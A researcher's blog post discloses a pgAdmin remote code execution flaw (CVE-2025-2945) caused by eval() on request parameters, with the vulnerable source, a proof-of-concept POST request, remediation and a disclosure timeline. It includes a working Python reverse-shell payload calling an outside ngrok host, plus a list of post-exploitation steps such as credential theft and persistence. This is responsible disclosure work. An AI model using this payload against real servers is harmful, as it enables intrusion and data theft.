-
Remote Code Execution Vulnerability in pgAdmin (CVE-2025-2945)Bug Bounty 2025. 4. 4. 18:19
Introduction
This post provides a technical explanation of a Remote Code Execution (RCE) vulnerability discovered in pgAdmin (≤9.1), a widely used administration tool for PostgreSQL databases.
To exploit this vulnerability, an authenticated user must be able to send a POST request to the pgAdmin server.
The vulnerability exists in two separate features —/sqleditor/query_tool/download</int:trans_id>
and/cloud/deploy
— both of which lead to RCE through the use of theeval()
function.The
eval()
function is a dangerous function that interprets the string argument as an expression and executes it as is. (Reference)
Vulnerability Details
The vulnerability arises from untrusted input being passed directly to the
eval()
function without any validation or sanitization./sqleditor/query_tool/download/<int:trans_id>
# https://github.com/pgadmin-org/pgadmin4/blob/REL-9_1/web/pgadmin/tools/sqleditor/__init__.py#L2124-L2160 @blueprint.route( '/query_tool/download/<int:trans_id>', methods=["POST"], endpoint='query_tool_download' ) @pga_login_required def start_query_download_tool(trans_id): (status, error_msg, sync_conn, trans_obj, session_obj) = check_transaction_status(trans_id) if not status or sync_conn is None or trans_obj is None or \ session_obj is None: return internal_server_error( errormsg=TRANSACTION_STATUS_CHECK_FAILED ) data = request.values if request.values else request.get_json(silent=True) if data is None: return make_json_response( status=410, success=0, errormsg=gettext( "Could not find the required parameter (query)." ) ) try: sql = None query_commited = data.get('query_commited', False) # Iterate through CombinedMultiDict to find query. for key, value in data.items(): if key == 'query': sql = value if key == 'query_commited': query_commited = ( eval(value) if isinstance(value, str) else value # vuln code )
In the case of
/sqleditor/query_tool/download/{int:trans_id}
, the vulnerable code shows that if the value received via thequery_committed
parameter is of typestr
, it is directly passed into theeval()
function.POST /sqleditor/query_tool/download/9907078 HTTP/1.1 Host: localhost:8088 Content-Type: application/json { "query": "SELECT 1;", "query_commited": "open('/tmp/pyozzi-poc', 'w')" }
As a result, an attacker can execute arbitrary Python code by sending a crafted POST request to the vulnerable endpoint.
/cloud/deploy
# https://github.com/pgadmin-org/pgadmin4/blob/REL-9_1/web/pgacloud/providers/google.py#L140 def _create_google_postgresql_instance(self, args): credentials = self._get_credentials(self._scopes) service = discovery.build('sqladmin', 'v1beta4', credentials=credentials) high_availability = \ 'REGIONAL' if eval(args.high_availability) else 'ZONAL' # vuln code db_password = self._database_password \ if self._database_password is not None else args.db_password ip = args.public_ip if args.public_ip else '{}/32'.format(get_my_ip()) authorized_networks = self.get_authorized_network_list(ip) database_instance_body = { 'databaseVersion': args.db_version, 'instanceType': 'CLOUD_SQL_INSTANCE', 'project': args.project, 'name': args.name, 'region': args.region, 'gceZone': args.availability_zone, 'secondaryGceZone': args.secondary_availability_zone, "rootPassword": db_password, 'settings': { 'tier': args.instance_type, 'availabilityType': high_availability, 'dataDiskType': args.storage_type, 'dataDiskSizeGb': args.storage_size, 'ipConfiguration': { "authorizedNetworks": authorized_networks, 'ipv4Enabled': True }, } }
At the
/cloud/deploy endpoint
, the vulnerability occurs when thehigh_availability
parameter is passed directly to theeval()
function.An attacker can gain a reverse shell by supplying the following input:
exec('import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("0.tcp.jp.ngrok.io",17477));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])')
Once the reverse shell is established, the attacker gains access to all server resources with the privileges of the pgAdmin process.
From there, the attacker can carry out further exploitation through scenarios such as the following:
1. Database Access & Manipulation The attacker can access, modify, or exfiltrate sensitive data stored in PostgreSQL databases managed by pgAdmin. 2. Lateral Movement With access to the server, the attacker may scan the internal network to find and compromise other systems. 3. Credential Theft Configuration files and environment variables may contain hardcoded credentials, API keys, or tokens that can be extracted and reused. 4. Privilege Escalation If the pgAdmin process is running with elevated privileges, the attacker may exploit local vulnerabilities to escalate privileges to root. 5. Persistence The attacker can install backdoors, create scheduled tasks, or modify startup scripts to maintain long-term access.
Remediation
In the patched version 9.2, the vulnerability was addressed by removing the use of the
eval()
function.
https://github.com/pgadmin-org/pgadmin4/commit/75be0bc22d3d8d7620711835db817bd7c021007cpatch diff
Personally, when I discovered the vulnerability, I couldn't help but wonder — "Why would they use eval() here...?"
Because as you can see from the code, the business logic could have been fully implemented without using eval() at all.
I reported the issue to
security@pgadmin.org
, recommending that the business logic be implemented without relying on theeval()
function.The pgAdmin team responded quickly — they reviewed the report and released a patch for the vulnerability in under 24 hours. :)
Disclosure Timeline
[16 Mar 2025]:
vulnerability report sent via email to security@pgadmin.org.[17 Mar 2025]:
[PGAdmin Team] Acknowledges the vulnerability
[18 Mar 2025]:
[PGAdmin Team] Announced that the patch is complete and will be included in the next release.
[27 Mar 2025]:
[PGAdmin Team] Opens an issue on GitHub. https://github.com/pgadmin-org/pgadmin4/issues/8603[3 Apr 2025]:
[PGAdmin Team] releases new update with the fix. https://www.pgadmin.org/docs/pgadmin4/9.2/release_notes_9_2.html[PGAdmin Team] CVE-2025-2945 was published for this vulnerability
'Bug Bounty' 카테고리의 다른 글
Flowise RCE via File Upload (0) 2025.03.15 CVE-2024-7773/CVE-2024-45436 in Ollama RCE (0) 2024.10.08 CVE-2023-50718 in nocoDB SQL injection (0) 2024.05.14 CVE-2023-50717 in nocoDB XSS (0) 2024.05.14 KISA 2023 TOP 10 (2) 2024.02.20 댓글